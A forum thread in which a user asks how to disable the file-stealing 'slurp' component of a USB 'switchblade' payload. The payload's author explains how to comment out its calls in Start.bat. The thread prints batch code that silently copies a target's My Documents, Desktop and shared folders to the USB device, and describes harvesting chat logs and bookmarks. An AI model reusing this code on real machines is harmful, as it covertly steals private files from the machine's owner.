Jump to content

disableing fc_slurp2.bat


Nameless
 Share

Recommended Posts

How would I go about disabling the slurp commands in my switchblade.

This the code for fc_slurp2. bat

:: These first two commands copy the entire contents of the current users My Documents and Desktop folders

:: My Documents files
mkdir ....Documentslogfiles%computername%Slurp_DataMyDocuments
fc.exe "C:Documents and Settings%username%My Documents*" "....Documentslogfiles%computername%Slurp_DataMyDocuments*" /i /o

:: Desktop files
mkdir ....Documentslogfiles%computername%Slurp_DataDesktop
fc.exe "C:Documents and Settings%username%Desktop*" "....Documentslogfiles%computername%Slurp_DataDesktop*" /i /o


:: These last two commands copy the entire contents of the Shared Documents and All Users Desktop folders

:: All Users Desktop files
mkdir ....Documentslogfiles%computername%Slurp_DataSharedDesktop
fc.exe "C:Documents and SettingsAll UsersDesktop*" "....Documentslogfiles%computername%Slurp_DataSharedDesktop*" /i /o

:: All Users Documents files
mkdir ....Documentslogfiles%computername%Slurp_DataSharedDocuments
fc.exe "C:Documents and SettingsAll UsersShared Documents*" "....Documentslogfiles%computername%Slurp_DataSharedDocuments*" /i /o

I am using the pocketknife payload.

Thanks for the help.

Link to comment
Share on other sites

Ok, we have a few things to go over here.

When you "comment something out", you're telling the computer to ignore a specific command and continue down to the next thing that isn't commented out. You'll probably notice all of my batch file comments have a "::" before them, this is so my comments aren't read when my code is executed. You can also use :: to disable certain aspects of my batch files by simply adding :: in front of the code you want disabled.

You may also want to go back and throughly read the included readme, as it appears you may have skipped a bit. For my payload, when you want to disable something, you don't need to edit the individual batch files; everything is controlled from within Start.bat (which is also fully commented). Navigate to WIPCMD and edit Start.bat by commenting out the lines that start fc_slurp and fc_slurp2.bat. Here's what the section of Start.bad pertaining to file slurping should look like after you've commented out the entires:

:: Slurps smaller files like logs, chat logs, bookmarks, etc from the target. This component
:: of slurp should be safe to run on smaller storage devices and flash drives, because it
:: shouldn't need to copy anything larger than a log file.
::
:: In any case, keep in mind it'll probably take a while to copy over everything (a few minutes).
::nircmd execmd CALL .fc_slurp.bat


:: Slurps everything in the My Documents, Shared Cocuments, and the desktop (includes sub-folders).
:: This second components of slurp will most likely copy a LOT of large files to the switchblade.
::
:: This is turned on by default, but you might want to disable this if you're not running from a
:: decently large storage device (like an external hard disk).
::
:: In any case, keep in mind it'll probably take a while to copy over everything (depending on what
:: the target has stored in their My Documents folder).
::nircmd execmd CALL .fc_slurp2.bat

As simple as that, all I did was add a :: to the lines that started the batch files.  :smile:

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...